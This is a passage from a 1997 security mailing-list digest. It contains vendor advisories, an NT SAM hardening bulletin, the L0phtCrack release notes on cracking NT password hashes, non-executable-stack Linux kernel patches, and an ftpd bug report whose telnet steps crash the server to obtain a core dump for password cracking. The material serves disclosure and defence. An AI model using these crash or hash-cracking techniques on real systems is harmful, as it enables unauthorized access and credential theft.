"As soon as we found there was a flaw, we put a fix together," said Tom Andrus, Symantec's senior product manager. "We plan to put it on the Web ... today (Tuesday)." Symantec estimates that about 250,000 people use Norton Utilities, which lets PC users back up files, protect data and prevent damage from viruses. But it is not known how many users of Norton Utilities 2.0 for Windows 95 connect to the Web through Internet Explorer. Symantec said no breaches have been reported aside from tests run by McAfee and Windows Sources. The security flaw allows the Symantec program to accept commands from the out side. In theory, an outsider could alter or destroy data or gather information from the computer. Symantec said users of Norton Utilities 2.0 for Windows will be able to get the flaw fixed by clicking on the "live update" button in the program. The program will search the Web for the patch, download and install it. Windows Sources said Norton Utilities exposes a weakness in in Microsoft's A ctive-X technology used in its browser. The technology lets PC users download small software applications from the Web onto their computers. While the flaw is known to occur only in combination with Norton Utilities 2. 0 for Windows 95 and Internet Explorer, "there could be other combinations of application and Active-X-based browsers that are equally vulnerable," said Windows Sources. Microsoft, however, said the Active-X technology is safe. "This was an honest mistake by Symantec, which they are correcting," said Cornelius Willis, head of platform marketing for Microsoft. "Active-X security still works." Symantec said it had no problem with McAfee's making the flaw public. But it blasted its rival for not telling it directly. Andrus said that when Symantec engineers find bugs in other companies' software, it lets those companies know. "I think we were taken aback that they would go to the press, create something akin to a virus and then basically show the world how to do that," he said. "We found that rather slimy." But McAfee spokesman Mark Coker said the company believed it was important to have a third party test and publicize the problem as soon as possible. He called Symantec's accusation "kind of a shock." "They are just trying to draw attention away from their responsibility for the problem," he said. -- ____Graham-John Bullers____www.Freenet.Edmonton.ab.ca/~real/index.html____ Lord grant me the serenity to accept the things I cannot change.The courage to change the things I can.And the wisdom to hide the bodies of the people I had to kill because they pissed me off.________alt.2600.moderated________ [end of message ... text also available at ] - ---------------------------- Date: Thu, 10 Apr 1997 22:21:49 -0400 From: Russ To: best-of-security@suburbia.net Subject: BoS: Alert: CIAC Bulletin H-45: Windows NT SAM permission Vulnerabilit y Message-Id: <199704110421.OAA20330@suburbia.net> -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN Windows NT SAM permission Vulnerability April 9, 1997 14:00 GMT Number H-45 ________________________________________________________________________ ______ PROBLEM: Windows NT default file permissions on some Registry files and Administrator account rights create a vulnerability. PLATFORM: Windows NT (all versions up through 4.0) DAMAGE: Exploitation may allow remote users to gain Administrator privileges. SOLUTION: Follow the guidelines outlined below. Maintain as a standard security policy. ________________________________________________________________________ ______ VULNERABILITY Exploit instructions and code are publicly available. ASSESSMENT: ________________________________________________________________________ ______ Introduction ============ Windows NT stores user information in the Security accounts Manager (SAM) database. Specifically, encrypted passwords are stored in the SAM._ file of the NT Registry, in the systemroot directory (The NT Resgistry is a database of information replacing the .ini files used in the Windows 3.X environment). Passwords are encrypted by a two part process when stored in the NT registry. First, passwords are hashed using the RSA MD4 scheme, then they are further obfuscated using DES encryption. Typically, access to the NT Registry is limited to the Administrator account. However, a back-up copy of the SAM._ file is normally created whenever the Emergency Repair Disk is updated and is stored in %systemroot%\repair\SAM._. The group "Everyone" has Read permission by default on this back-up copy of SAM._. As a result, "Everyone" has the potential to obtain or copy the encrypted password file. A utility which unscrambles the obfuscation scheme, revealing the MD4 hashed password, has been released on the Internet. The resulting RSA MD4 hashed password, along with a valid user-id, can be used to log in to an account, without the plain-text password. If the hashed password is deliberately placed on another machine, the information could provide a valid value to be used in the challenge-response authentication used with the original NT resource where the hashed information came from. In short, an intruder could use the information remotely to gain unauthorized access to the NT resource. A second possibility is that the clear-text password could be determined if the hashed passwords are run through a password cracker. Along with a valid user-id, an intruder could gain unauthroized access. Configuration and Usage Guidelines ================================== Although this vulnerability presents a serious threat, appropriate security policy regarding configuration of NT workstations can mitigate this type of attack. CIAC recommends the following five configuration controls: 1. Disallow Remote Administrator capabilities Configure the Administrator and Administrator Group accounts so that access from the network is disallowed, allowing only direct console access for Administrators. This can be accomplished through the User Manager, Policies menu selection. This eliminates attempts to remotely log in as the Administrator. Physical access to the server console would be necessary to conduct any administrative functions. In addition, users should work with the least privileges necessary to accomplish their work. Administrators should not use Administrator accounts for non-administrative work. 2. Rename the Administrator account The Administrator account should be renamed to something other than Administrator to deter the casual "outsider" looking for generically named accounts to compromise. 3. Change the permissions on WINNT/repair/SAM._ The default permissions allow Full Control for Administrator and SYSTEM, Read for Everyone, and Change for Power Users. The permissions should be set so that no users or groups, including Administrator, have any rights to this file. The Administrator still has the authority to change these rights if access is required to the file. If the Emergency Repair Disk needs to be updated, the Administrator can temporarily change the permissions to change the file. When the Emergency Repair Disk is completed, the Administrator should change the permissions back to no rights. 4. Audit Administrator account activities and Registry changes Auditing will enable detection if a potential intruder is launching this attack. Since this attack requires the Administrator account privileges, the intruder will most likely try to log in as Administrator. Therefore, the "logon and logoff" failure should be enabled for the Administrator account. In addition, auditing should be enabled for any changes in permissions or modifications to the SAM. An alert can be set to notify the Administrator if and when any of these events occur. 5. Choose passwords at least 8 characters long that cannot be found in any dictionary As with any operating system, passwords are a common target. This attack partially unscrambles the encrypted password, then attempts to obtain a clear-text password through a dictionary password cracking utility. To prevent this from succeeding, passwords should be a combination of letters, numbers and characters, at least 8 characters long and "nonsensical". A good password is especially important on the Administrator account. Since the Administrator account cannot be locked out, a potential intruder can guess passwords, or run a password cracking utility. A good method for choosing passwords is to develop a phrase and take the first letter of each word. For example, "Security is 4 the good of all !" could result in the password, "S i 4 t g o a !". Through limiting the Administrator account and privileges granted to other user accounts, as well as enabling the described auditing, the administrator can mitigate this attack. CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: ciac@llnl.gov For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to ciac-listproc@llnl.gov: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact y@our agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) H-34: Vulnerability in innd H-35: HP-UX vgdisplay command Vulnerability H-36: Solaris 2.x CDE sdtcm_convert Vulnerability H-37: Solaris 2.x passwd buffer Overrun Vulnerability H-38A: Internet Explorer 3.x Vulnerabilities H-39: SGI IRIX fsdump Vulnerability H-40: DIGITAL Security Vulnerabilities (DoP, delta-time) H-41: Solaris 2.x eject Buffer Overrun Vulnerability H-42: HP MPE/iX with ICMP Echo Request (ping) Vulnerability H-44: Solaris 2.x fdformat Buffer Overflow Vulnerability -----BEGIN PGP SIGNATURE----- Version: 2.6.1 Comment: Processed by Mailcrypt 3.3, an Emacs/PGP interface iQCVAwUBM0wTs7nzJzdsy3QZAQEG7wP/RGDVKAFiVmShbft5KW1s8ccNFMjah6gi 2e0TAgYdDVCVKedLONc65cVEOg2pxJ3A9hO8YZG24t5l+dD2wkdeueKVFMOTWul8 6Ln3ZzBpQYfJxOO6SDKj1qcuxC3l6RIL3PJOjnlm4iV2Sz3xotRpB4vh9kBy0N7q WLyKv295lZE= =nC4U -----END PGP SIGNATURE----- - ---------------------------- Date: Fri, 11 Apr 1997 18:07:56 -0400 (EDT) From: Who cares what the hell goes into a Gecos field anyway! To: best-of-security@suburbia.net cc: best-of-security@suburbia.net Subject: BoS: L0pht Advisory: release of L0phtCrack for NT Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII L0pht Security Advisory Advisory released April 11 1997 Program: L0phtcrack - Windows NT password insecurities Vulnerability Scope: Windows NT Severity: The L0pht is pleased to release L0phtcrack rev 1. This program recovers the LANMAN and/or NT Dialect MD4 plaintext password from output derived from the SAM registry. Authors: mudge@l0pht.com weld@l0pht.com Intro: This tool, as with many others, can be used for breaking into systems in illegal fashions - THAT IS NOT WHAT IT IS INTENDED FOR! We had a working version done the same day that PWDump was released in order to audit some of our internal networks. However, as we started researching more into it we noticed many shortcomings in how MS security is handled and present some of these in our tool. We take no responsibility for misuse of this information. It is our belief that the only way to protect yourself is to fully understand your vulnerabilities. Unfortunately, for some of these problems we still don't see immediate solutions. Our particular solution has been to trust our users, and not let any of our NT machines talk to the internet (ie filtered very tightly at the perimiter). We are interested in other solutions. Overview: Recently several NT password crackers have emerged. We offer this one with the belief that it offers some features and functionality that the current ones do not have. L0phtcrack will recover passwords from Windows NT registries in a variety of fashions. By feeding in the output from PWDump [by Jeremy Allison, jra@cygnus.com] and a dictionary file, L0phtcrack rev 1 will attempt to retrieve: 1) only the LANMAN plaintext password 2) only the NT Dialect MD4 plaintext password [see reasoning below] 3) Both the LANMAN and MD4 plaintext passwords (by deriving the MD4 password from the LANMAN output and running through up to 2 to the Nth power permutations) Alternatively, L0phtcrack gives you the capability to _brute force_ the entire key space and recover ALL USER PASSWORDS up to 14 characters in length. By going through the entire keyspace available, this program WILL RETURN ALL OF THE PLAINTEXT PASSWORDS (both LANMAN and MD4) up to and including 14 characters in length (note that the User Login Dialog box on NT machines limits the amount of characters that can be typed to 14 for the MD4 dialect. Future releases of this software will enable brute forcing of up to 16 characters for MD4). L0phtcrack comes in three flavours: 1) A nice Windows GUI interface so you can point and click. 2) A CLI version for running in "DOS" windows. 3) Source code that is generic enough to build on most Un*x's. Description: Here's how it works - For NT, LANMAN passwords are derived in the following fashion: . The user password is converted to UPPERCASE . If the user password is less than 14 bytes, the password is padded with NULL characters to 14 bytes. . If the user password is greater than 14 bytes, the password is truncated to 14 bytes. . The 14 byte string is split down the middle into two 7 byte strings. . One 8 byte odd parity des key is derived from each of the 7byte strings [note1]. . The constant 'magic value' [note2] is then encrypted first with the first odd parity des key and then with the second. The results are concatenated. This is the LANMAN OWP [note3]. [note1: There is a significant loss of bits in the str_to_key functions which derive the 8 byte odd parity DES keys from the 7 byte strings. This knocks down the possibly key space to attack DES substantially. Thanks to Hobbit@avian.org for pointing this out to us] [note2: the constant 'magic value' is derived from the encryption of 0x4B47532140232425 with a key of all 1's ] [note3: quickly scanning the LANMAN OWP's it is easy to see who has passwords that are 7 characters or less. If the second half of the LANMAN OWP is 0xAAD3B435B51404EE the value for the last seven characters in the user password were all NULLs.] For NT, NT Dialect MD4 passwords are derived in the following fashion: . The users password is converted to Unicode [note4]. . The unicode password is run through MD4 to return a 16 byte value. This is the MD4 OWP [note5] [note6]. [note4: There is a large amount of confusion as to where Unicode stops. i.e. is "ABC", which is in actuallity 'A','B','C','\0', encoded as 'A' '\0' 'B' '\0' 'C' '\0' or 'A' '\0' 'B' '\0' 'C' '\0' '\0' '\0'. We find that in this situation the former is the case. [note5: You might say "why do you even bother having an option of doing _only md4_ when it is much quicker to derive it from the LANMAN password". To which we would reply "this gives us the ability to easilly roll in the ability to dictionary attack traffic that we see on the network. This will be particularly important if the proposed changes to the CIFS spec go into place. See our S/Key cracker MONKEY for more of an idea on what's to come".] [note6: For those who were building md4 crypt-n-compare engines from inside Microsoft's Visual C++ IDE. The VC++ does not by default define _MSDOS_, or 8086 which are necesarry to through the byte ordering into the correct mode in md4.c] What we do in rev 1 - In rev 1 of l0phtcrack the user must hand in a password file in the format of Jeremy Allison's PWDump output. From this the following actions can be taken. LANMAN only - A dictionary is fed in and each word is encrypted using the LANMAN one round DES format as described above. The list of users is checked against this encrypted OWP. Any that are found matching are flagged. MD4 only - A dictionary is fed in and each word is encrypted using md4. The list of users is checked against this encrypted OWP. Any that are found matching are flagged. See the description of rev 2 for why this option is important. LANMAN and md4 - A dictionary is fed in and each user is first checked against the LANMAN one round DES OWP. If a match is found, the word is run through 2 to the power of strlen(word) case permutations in md4 to return the case sensitive md4 value. Brute force - An input string containing the list of valid characters is run through sequentially in all possible combinations up to 7 characters in length. The first half and second half of the LANMAN password are compared against these, thus returning all passwords up to 14 characters in total length. Since the logon screen will not allow you to enter more than 14 characters ,even though the NT MD4 dialect will allow up to 128, this should return all users passwords. When a match is found the word is run through 2 to the power of strlen(word). By changing the default string that is processed through you can drastically change the amount of time it takes to brute through the entire keyspace. Keep in mind that the following characters are not valid in passwords so they don't need to be included: '/', '\', '[', ']', ':', ';', '|,' ,'=', ',', '+', '*', '?', '<', '>' [according to the MS technet information]. For example: if you just want to check all combinations of letters all you have to run through is ABCDEFGHIJKLMNOPQRSTUVWXYZ. rev 2 will have this optimized a bit more, in addition to allowing a remote querry to our tables of precomputed hashes, thus reducing the problem to that of a table lookup. Why is it important to be able to attack md4 only? That is much slower! The changes being made to the CIFS spec imply that in the future a server will be able to force a client to use the NT dialect and not negotiate down. Based upon how the "key exchange" is done this will be attackable via the hooks put in for md4 only much in a similar way that our program "MONKEY" will attack s/key sessions based upon promiscuously viewed network traffic. errata in rev 1 - Several of the routines need to be optimized a bit more but the tool is quite usable and quite fast as it is (100 users and an an 8 meg dictionary file took under 1 minute on a PPro 200 with the GUI version, the CLI is by nature a bit faster - the bruting with a string of "ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-_" took a little over 3 days on a P133). There are hooks to preen through the user list and instantly kick out whether a user has a password of 7 characters or less, or if a users password is greater than 7 chars. If you specify md4 only it just does a straight dictionary crypt and compare, if you specify any other method that returns md4 values it runs through all case possibilities. The brute forcer is not implemented in the windows GUI version. Use the command line version for this functionality. What you can expect to see in rev 2 - . The functionality of PWDump will be included in the l0phtcrack program so you won't need to run seperate programs. . You should be able to pull down registries from remote / local machines WITHOUT BEING ADMINISTRATOR and WITHOUT NEEDING TO KNOW THE ADMINISTRATOR's PASSWORD [read this bullet item again!!!] - we believe we are very close to being able to do this now. . You will be able to brute force the NT Dialect password up to 16 characters in length for those tricky network users that never log in via the console. . The windows GUI will be multi-threaded to take advantage of multiple processors for dramatically improved brute forcing. . We should have pre-computed tables of the entire key-space available so all that needs to be done is a remote table look up. L0phtcrack is freely available from the l0pht advisories page: http://www.l0pht.com/advisories.html screenshots should be available on the web page in the next couple of days. A mirror of the packages will be available at ftp://dot.ishiboo.com/users/tfish/l0phtcrack.tar.gz and ftp://dot.ishiboo.com/users/tfish/l0phtcrack.zip If anyone makes modifications / improvements please mail the diffs to mudge@l0pht.com. We hope this tool is usefull, mudge@l0pht.com , weld@l0pht.com -------------- For other advisories check out http://www.l0pht.com/advisories.html -------------- - ---------------------------- Date: Sat, 12 Apr 1997 01:18:00 -0400 (EDT) From: Todd Graham Lewis To: best-of-security@suburbia.net Subject: BoS: Phrack 50 Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII The latest issue of Phrack, The Original Hacker Zine, is out. You can (and probably should) read it for the low price of $0; it's available from: ftp://ftp.infonexus.com/pub/p50.tgz Some interesting articles include "SNMP insecurities", "Cracking NT Passwords", and a program called Juggernaut, "a robust network tool (i.e., packet sniffer. --tlewis) for the Linux OS." You definitely should check it out; half the teenagers with access to your network are reading it right now. 8^) __ Todd Graham Lewis MindSpring Enterprises tlewis@mindspring.com - ---------------------------- Date: Sat, 12 Apr 1997 13:03:07 -0300 From: Solar Designer To: best-of-security@suburbia.net Subject: BoS: Linux kernel patch to remove stack exec permission Message-ID: <199704121603.NAA21137@sun1.ideal.ru> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Hello! There seemed to be no patch for Linux kernel to remove execute permission from the stack (to prevent most buffer overflow exploits), so I decided to make one, I include it at the end of this message. I heard some rumours that GCC assumes stack frame to be executable when dealing with nested functions, but I couldn't reproduce that. I'm running this patched kernel for a day now, and everything (well, except for the exploits) seems to work fine. However, some programs may depend on the stack being executable... I'd like to hear any reports of this. The patch is for Linux 2.0.30 (should work on others also), x86 only. Originally user code, data and stack segments were mapped to the same memory, and had the same limit. I decreased the code segment's limit, so it doesn't cover the actual stack space (since the stack grows down). Actually, I created a new descriptor instead, leaving the old one with its original limit, since that still allows to execute some code on the stack when needed, by using old code segment selector. For example, the kernel itself needs that ability to return from signal handlers. Note that the BSS and malloc()ed areas are still executable. Some buffer overflows are still exploitable, by making the program put the shellcode somewhere else in its memory space, not on the stack, and overwriting the return address to point to that area. Also, some programs may already have a suitable code in them, and not require an external shellcode at all. So this patch only prevents most overflows from being exploitable, not all of them. diff -u --recursive /extra/linux-2.0.30/arch/i386/kernel/head.S linux/arch/i386/kernel/head.S --- /extra/linux-2.0.30/arch/i386/kernel/head.S Sat Apr 12 10:41:59 1997 +++ linux/arch/i386/kernel/head.S Sat Apr 12 10:44:58 1997 @@ -402,7 +402,7 @@ .quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */ .quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */ .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */ - .quad 0x0000000000000000 /* not used */ + .quad 0x00cafa000000ffff /* 0x33 user 2.75GB code */ .quad 0x0000000000000000 /* not used */ .fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */ #ifdef CONFIG_APM diff -u --recursive /extra/linux-2.0.30/arch/i386/kernel/signal.c linux/arch/i386/kernel/signal.c --- /extra/linux-2.0.30/arch/i386/kernel/signal.c Sat Apr 12 10:41:59 1997 +++ linux/arch/i386/kernel/signal.c Sat Apr 12 10:44:58 1997 @@ -214,7 +214,7 @@ /* Set up registers for signal handler */ regs->esp = (unsigned long) frame; regs->eip = (unsigned long) sa->sa_handler; - regs->cs = USER_CS; regs->ss = USER_DS; + regs->cs = USER_HUGE_CS; regs->ss = USER_DS; regs->ds = USER_DS; regs->es = USER_DS; regs->gs = USER_DS; regs->fs = USER_DS; regs->eflags &= ~TF_MASK; diff -u --recursive /extra/linux-2.0.30/include/asm-i386/segment.h linux/include/asm-i386/segment.h --- /extra/linux-2.0.30/include/asm-i386/segment.h Sat Apr 12 10:41:37 1997 +++ linux/include/asm-i386/segment.h Sat Apr 12 10:44:58 1997 @@ -4,7 +4,8 @@ #define KERNEL_CS 0x10 #define KERNEL_DS 0x18 -#define USER_CS 0x23 +#define USER_HUGE_CS 0x23 +#define USER_CS 0x33 #define USER_DS 0x2B #ifndef __ASSEMBLY__ Signed, Solar Designer - ---------------------------- Date: Sun, 13 Apr 1997 11:34:46 +0400 From: Vadim Kolontsov To: best-of-security@suburbia.net Subject: BoS: ftpd bug (yes, again..) Message-ID: <19970413113446.26166@tversu.ac.ru> Content-Type: text/plain; charset=us-ascii Hello, do you remeber a bug with "argc > 100" in ftpd_popen(), when users was able to kill your ftpd to produce core dump with shadow password? Ok, this bug (which was reported when 2.1 was the latest release) still presents in 2.2 & 3.0 Yes, ftpd was patched, but incompletely. It seems that this patches was never tested (although I didn't check a patch against "kill -11" yet) Here is an additional patch for 3.0's ftpd ============================== cut here ================================ *** popen.c.old Sun Apr 13 11:22:59 1997 --- popen.c Sun Apr 13 11:23:16 1997 *************** *** 95,101 **** /* glob each piece */ gargv[0] = argv[0]; ! for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) { glob_t gl; int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_QUOTE|GLOB_TILDE; --- 95,101 ---- /* glob each piece */ gargv[0] = argv[0]; ! for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1) && argc < MAXUSRARGS; argc++) { glob_t gl; int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_QUOTE|GLOB_TILDE; ============================== cut here ================================ See the source code to understand why previous patch was incomplete - it's easy... BTW, wu-ftpd latest beta (13) still can be killed in this way... although wu-ftpd's maintainer was informed by me about 3 monthes ago. With best regards, Vadim. P.S. to test ftpd, do the following: telnet your.host 21 user ftp (or your userid, if you have no anonymous ftp) pass ftp@ (or your password) list x x x x x x x x x x x ... (around 3 lines will be enough ;) Bugged ftpdwill die here - "Connection closed by foreigh host". Now look for core dump, extract password, start your Crack :) -------------------------------------------------------------------------- Vadim Kolontsov SysAdm/Programmer Tver Regional Center of New Information Technologies Networks Lab - ---------------------------- Date: Mon, 14 Apr 1997 00:20:03 +1000 (EST) From: proff@suburbia.net To: best-of-security@suburbia.net Cc: best-of-security@suburbia.net Subject: BoS: [ANNOUNCE]: ipfilter for FreeBSD2.2.x + FreeBSD3.0-current Message-ID: <19970413142003.22999.qmail@suburbia.net> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Darren Reed and contributors' excellent firewall software, ipfilter is now available for FreeBSD2.2/3.0-current. The IP packet filter can: o explicitly deny/permit any packet from passing through o distinguish between various interfaces o filter by IP networks or hosts o selectively filter any IP protocol o selectively filter fragmented IP packets o selectively filter packets with IP options. o send back an ICMP error/TCP reset for blocked packets o keep packet state infromation for TCP, UDP and ICMP packet flows. o keep fragment state information for any IP packet, applying the same rule to all fragments. o act as a Network Address Translator (NAT) o use redirection to setup true transparent proxy connections. Special provision is made for the three most common Internet protocols, TCP, UDP and ICMP. The IP Packet filter allows filtering of: o TCP/UDP packets by port number or a port number range o ICMP packets by type/code o "established" TCP packets o on any arbitary combination of TCP flags o "short" (fragmented) IP packets with incomplete headers can be filtered o any of the 19 IP options or 8 registered IP security classes o TOS (Type of Service) field in packets FreeBSD version available from: ftp://suburbia.net/pub/proff/ipfilter-proff-final2.shar.gz ftp://ftp.freebsd.org/pub/FreeBSD/incoming/ipfilter-proff-final2.shar.gz Original: http://cheops.anu.edu.au/~avalon Note that while I (Julian Assange) have fixed various bugs originally found in ipfilter3.2a4, I don't guarentee that this version is bug free, and Darren certainly doesn't, not having had an opportunity to test my changes fully. -Julian # The archive contains: # # ipfilter-proff-README # sys-ipfilter-proff-2.2.1.diff # sys-ipfilter-proff-current-970411.diff # lkm/if_ipf # lkm/if_ipf/Makefile # sbin/ipf # sbin/ipf/ipfstat # sbin/ipf/ipfstat/Makefile # sbin/ipf/ipftest # sbin/ipf/ipftest/Makefile # sbin/ipf/Makefile # sbin/ipf/Makefile.inc # sbin/ipf/mkfilters # sbin/ipf/mkfilters/Makefile # sbin/ipf/ipf # sbin/ipf/ipf/Makefile # sbin/ipf/ipmon # sbin/ipf/ipmon/Makefile # sbin/ipf/ipnat # sbin/ipf/ipnat/Makefile # contrib-sys # contrib-sys/ipfilter # contrib-sys/ipfilter/cflow # contrib-sys/ipfilter/snoop.h # contrib-sys/ipfilter/man # [..] Unpack the new source trees and patch files: root@paranoia# cd /usr root@paranoia# unshar To: best-of-security@suburbia.net Subject: BoS: 2nd Linux kernel patch to remove stack exec Message-ID: <199704131906.QAA06271@sun1.ideal.ru> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Hello! I include an improved version of my patch in this message. The main difference from the old one is that no programs at all should be broken by using it (this includes GCC trampolines). If some programs still get broken, please let me know. I'd like to thank everyone who replied to my previous message pointing out the problem, I'll now answer the common stuff at once. About GCC trampolines -- yes, there is a problem, but in reality it turns out to be quite easy to solve; also, nested functions, and especially those which address gets passed somewhere else, are not common in real world applications -- one of the reasons is that it's a GNU C extension. Since most programs will never use the trampolines, it makes sense to run them with non-executable stack, and enable stack execution permission for those that really need it. This can be done automatically, by modifying the GPF handler to switch back to the huge code segment (which covers the stack) and re-executing the instruction, unless it was a RET. Since most buffer overflows can only be exploited by overwriting the return address, this will still make them unexploitable (RET has to be the instruction to pass the control onto the stack), while C programs will normally only use CALL, and it is extremely unlikely that some code will use RET for that purpose (this can never happen for pure C programs compiled with GCC). Note that such emulation won't make the things run any slower since only one GPF per entire process life may get generated (after that the stack remains executable for this entire process). About me breaking the entire signal handling -- wrong, I handle this case specially from the very beginning, by temporary switching to the huge code segment for the time of signal handler execution. This leaves potential buffer overflows in signal handlers exploitable, but there seems to be no other simple way for the kernel to put the necessary return code in user program's address space (remember, signal handlers have to return with a plain RET, but they need to return to the kernel, so some extra code in the user space is required, which would get jumped to by the RET, and jump into the kernel). About [not] including the patch in Linux kernel release -- the patch was not intended to be included in standard kernel distribution, at least not right now, when it hasn't been tested widely enough. Anyway, it might be reasonable to include it there after some testing is done, as a configurable experimental feature. A possible new question -- why can't an exploit be made such a way, so the GPF handler would enable execution permission on the stack? This is due to most buffer overflow vulnerabilities allowing to only overwrite the function return address, and not some other pointer which would get jumped to. No matter if the custom code would contain a CALL, since it has to be put onto the stack, and GPF would happen when attempting to execute the RET, before the control has a chance to get to the CALL. However, I admit there're some rare buffer overflow cases which will remain exploitable -- these are when the vulnerable function uses function pointers, and keeps them on its stack. I only know one such example -- SuperProbe. Also, in some cases the custom code may be put somewhere else in user program's address space, not on the stack, or the program may already have some suitable code in it (I already mentioned that in my previous message). Anyway, I believe my patch makes most buffer overflows (well, at least some of them for sure, which is enough to be worth using) unexploitable. Another possible new question -- what if the GPF is caused by some bug in a program? Well, in that case my patched handler will still switch to the huge code segment, and attempt to re-execute the instruction, which will cause the GPF again. This time the handler will do what it used to do earlier -- terminate the program with a SIGSEGV. I actually tested that, seems to work fine (exactly the same as it did without my patch), including the case when running under gdb. As usual, any bug reports are welcome. Finally, someone might wonder if the patch is still useful, when it got that fallback in the GPF handler. While using libc5, it is unlikely the fallback will ever happen (even if it does, only that single process will be running with the stack being executable), so the patch prevents many overflows from being exploitable (I actually ensured that many overflow exploits stopped working, well, except for my SuperProbe exploit that I mentioned above), so the patch is useful. However, things are likely to change with glibc... To enable/disable execution permission on the stack in your programs (who would need that, with such a GPF handler?), the following can be used: #include [...] /* Switch to huge code segment => executable stack */ asm("ljmp %0,$1f\n1:\n" : : "i" (USER_HUGE_CS)); /* Switch to truncated code segment => non-executable stack */ asm("ljmp %0,$1f\n1:\n" : : "i" (USER_CS)); If someone really uses these, it might be reasonable to make such macros in asm/segment.h, so the stuff looks more readable. And now the patch... (to make it work with 2.1.x, change "cs" to "xcs" for signal.c and traps.c). diff -u --recursive /extra/linux-2.0.30/arch/i386/kernel/head.S linux/arch/i386/kernel/head.S --- /extra/linux-2.0.30/arch/i386/kernel/head.S Sat Apr 12 10:41:59 1997 +++ linux/arch/i386/kernel/head.S Sat Apr 12 10:44:58 1997 @@ -402,7 +402,7 @@ .quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */ .quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */ .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */ - .quad 0x0000000000000000 /* not used */ + .quad 0x00cafa000000ffff /* 0x33 user 2.75GB code */ .quad 0x0000000000000000 /* not used */ .fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */ #ifdef CONFIG_APM diff -u --recursive /extra/linux-2.0.30/arch/i386/kernel/signal.c linux/arch/i386/kernel/signal.c --- /extra/linux-2.0.30/arch/i386/kernel/signal.c Sat Apr 12 10:41:59 1997 +++ linux/arch/i386/kernel/signal.c Sat Apr 12 10:44:58 1997 @@ -214,7 +214,7 @@ /* Set up registers for signal handler */ regs->esp = (unsigned long) frame; regs->eip = (unsigned long) sa->sa_handler; - regs->cs = USER_CS; regs->ss = USER_DS; + regs->cs = USER_HUGE_CS; regs->ss = USER_DS; regs->ds = USER_DS; regs->es = USER_DS; regs->gs = USER_DS; regs->fs = USER_DS; regs->eflags &= ~TF_MASK; diff -u --recursive /extra/linux-2.0.30/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c --- /extra/linux-2.0.30/arch/i386/kernel/traps.c Sat Apr 12 10:41:59 1997 +++ linux/arch/i386/kernel/traps.c Sun Apr 13 07:22:44 1997 @@ -198,6 +198,14 @@ return; } die_if_kernel("general protection",regs,error_code); + if (regs->cs == 